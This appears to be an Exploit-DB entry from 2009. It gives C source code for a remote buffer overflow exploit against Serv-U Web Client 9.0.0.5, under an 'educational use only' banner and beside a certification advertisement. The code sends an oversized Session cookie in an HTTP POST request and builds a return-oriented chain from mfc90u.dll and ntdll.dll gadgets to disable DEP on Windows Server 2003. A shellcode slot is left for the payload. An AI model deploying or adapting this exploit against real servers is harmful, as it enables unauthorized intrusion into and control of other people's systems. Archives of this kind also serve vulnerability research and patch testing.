Serv-U Web Client 9.0.0.5 - Remote Buffer Overflow (2)

EDB-ID:

9800




Platform:

Windows

Date:

2009-11-05


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

/*
    !!!FOR EDUCATIONAL USE ONLY!!!
     M.Yanagishita    Nov 2, 2009
    !!!FOR EDUCATIONAL USE ONLY!!!
*/
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

#define Die(a) if(a){return;}

char request[] = 
"POST / HTTP/1.1\r\nHost: %s\r\nCookie: killmenothing; SULang=de%%2CDE; themename=vista;"
" Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb9507545814%s\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\nContent-Length: 0\r\n\r\n";

void main(int argc, char **argv)
{
	WSADATA wsaData;
	SOCKET s;
	struct hostent *he;
	struct sockaddr_in host;
	int len, sent, r;
	char *buf = new char[120000];
	char *payload = new char[100000];

	Die(argc<3);
	Die(WSAStartup(0x0101,&wsaData) != 0);
	Die((he = gethostbyname(argv[1])) == 0);

	host.sin_port = htons(atoi(argv[2]));
	host.sin_family = AF_INET;
	host.sin_addr = *((struct in_addr *)he->h_addr);

	Die((s = socket(2, 1, 6)) == -1);
	Die((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1);
	
	
	memset(payload, 'C', 99999);
	memcpy(payload+(41000-62)*2+20, "4928b00f", 8); //add esp, 0x??? + ret

	//Bypass DEP in Win2k3 R2 SP2 Full Patched
	memcpy(payload +  0, "961ea378", 8);  //[mfc90u.dll]  pop esi + ret
	memcpy(payload +  8, "00020100", 8);  //esi <= 00010200 RW
	memcpy(payload + 16, "99aea478", 8);  //[mfc90u.dll]  push esp + pop ebp + ret 0c
	memcpy(payload + 24, "87e9a378", 8);  //[mfc90u.dll]  ret 20
	memcpy(payload + 32, "53c7b278", 8);  //[mfc90u.dll]  jmp esp
	memcpy(payload + 40, "47f5837c", 8);  //[ntdll.dll]   disable DEP, 0x7c98f547 for JP Win2k3

	//Shellcode here :>
	memcpy(payload+48, "ebfe", 4);

	payload[99999]=0;
	sprintf(buf, request, argv[1], payload);

	len = strlen(buf);
	sent = 0;
	r = send(s, buf, len, 0);
	sent += r;
	while(sent < len)
	{
		r = send(s, buf+sent, len-sent, 0);
		Die(r <= 0);
		sent += r;
	}
	closesocket(s);

}